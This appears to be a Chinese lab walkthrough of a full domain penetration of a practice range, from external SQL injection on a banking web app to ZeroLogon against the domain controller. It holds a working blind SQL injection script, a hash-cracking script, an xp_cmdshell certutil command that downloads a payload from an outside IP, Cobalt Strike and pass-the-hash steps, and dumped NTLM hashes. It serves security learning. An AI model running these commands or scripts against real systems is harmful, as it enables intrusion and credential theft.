域渗透之外网打点到三层内网
2022-6-9 14:50:27 Author: xz.aliyun.com(查看原文) 阅读量:42 收藏

1.项目介绍:

本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。

2.VPS映射

1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini

在web1上配置frpc.ini 运行 frpc.exe -c frp.ini

成功访问到环境
http://x.x.x.x:8088/login.jsp

1.端口探测

使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。

然后查看其详细信息。

2.网站源代码查找

发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。

然后就在github试试运气,发现了源码。

源码地址:https://github.com/amateur-RD/netBank-System

发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。

3.SQL注入

然后进行登录测试,发现存在sql注入漏洞

网上银行系统Hsql注入漏洞

使用sqlmap不能进行跑出用户名和密码。

4.编写脚本进行sql注入

import requests
password=""
url="[http://x.x.x.x:8878/admin/login"](http://103.121.93.206:8878/admin/login")
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
 for j in payload:
   exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'
or '1'='" %(i,j)
   print("正在注入")
   data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
   req = requests.post(url=url, data=data);
   if "密码不正确" in req.text:
     password+=j
     break
print(password)

成功跑出密码。然后进行登录。

登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。

5.tomexam SQL注入漏洞

在另一个地址处,发现可以注册用户。然后注册用户进行登录。

登录之后发现,某处存在sql注入。

使用sqlmap进行获取用户信息。

| 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 |
| 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14
成功抓到了管理员用户和密码,然后使用md5进行解密。

成功进行登录。登录之后没有找到可getshell的地方。

6.Jspxcms-SQL注入

首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。

发现先知的大佬做过找个版本的代码审计。参考链接:https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。

在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。

使用sqlmap进行查找表、用户和吗密码。

成功发现了用户名和加密的密码。密码推断是明文密码+salt然后再进行md5加密。

7.编写解密脚本

通过其源码,分析其加密方式,然后编写解密脚本。

package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
  public static void main(String[] args)throws Exception {
    byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
    SHA1CredentialsDigest test = new SHA1CredentialsDigest();
    String fileName = "D:\\csdnpass.txt";
    String fileName2 = "D:\\hashpassword2.txt";
    try (Scanner sc = new Scanner(new FileReader(fileName))) {
      while (sc.hasNextLine()) {
        String line = sc.nextLine();
        String encPass = test.digest(line, salt);
        File f = new File(fileName2);
        FileWriter fw = new FileWriter(f, true);
        PrintWriter pw = new PrintWriter(fw);
        pw.println(line + " " + encPass);
        pw.close();
     }
   }
 }
}

8.登录jspxcms后台getshell

使用管理员用户和解密出来的密码,成功进入管理员后台。

使用哥斯拉生成一个木马,然后使用jar,打包成为war包。

9.编写目录穿越脚本

根据先知社区的大佬提出的方法,编写目录穿越脚本。

成功进行上传。

10.获取webshell

使用哥斯拉连接webshell,成功执行命令。

1.frp反向代理上线CS

首先配置内网cobalt strike内网上线

在kali启动cs服务端,

查看其端口

配置frp的frps.ini信息。

2.CS上线

cs生成监听。

然后上传.exe文件进行上线。

成功上线。

3.内网信息收集

使用shell iponfig 收集信息。

根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。

查看计算机名。

使用net view 查找域内其它主机,发现不能找到其他主机。

4.开启代理进行端口扫描

查看server2012的IP地址。

5.域内主机端口扫描

发现存在1433——Mysql的端口,尝试进行弱口令的暴力破解。
最好成功爆破出账号和密码.

6.mssqlclient 登录MYsql服务器

使用mysql用户和密码进行登录。

7.xp_cmshell进行getshell

help查看可以执行那些命令。

开启xp_cmdshell,然后进行信息收集。

使用certutil远程下载之前的木马,然后进行上线
xp_cmdshell certutil -urlcache -split -f http://39.103.134.134/artifact.exe
c:/windows/temp/artifact.exe

8.使用SweetPotato (ms16-075)提权

上线之后,进行简单的信息收集。

然后使用第三方插件,利用SweetPotato (ms16-075)提权对其进行提权。

成功提权。

1.内网域信息收集

使用net view查看域内主机。

使用hashdump进行抓取一些用户的hash值。

查看主机ip地址。

查看域控的Ip地址,和域控的计算机名。

2.ZeroLogon CVE-2020-1472 获取域控权限

编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。

将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0

3.配置代理,登录域控

配置kali的代理地址,然后进行端口扫描,测试代理是否连接。

获取域控的hash值。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
然后进行登录域控。

4.PTH上线CS

关闭防火墙,利用pth进行上线cs。

成功执行命令。

生成tcp监听,然后jump到域控主机。

5.恢复密码、原hash。

恢复密码。

使用 secretsdump.py获取其hash值。
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCA

使用:proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139
fb61e3c372e666adccb7a820aa39772f恢复域控密码。成功恢复其密码。

靶机到这里就结束了。

最后,成功拿下整个域控。

该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xp_cmdshell进行getshell。在域渗透中使用CVE-2020-1472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。
靶机来源:暗月师傅sec123靶机


文章来源: https://xz.aliyun.com/t/11432
如有侵权请联系:admin#unsafe.sh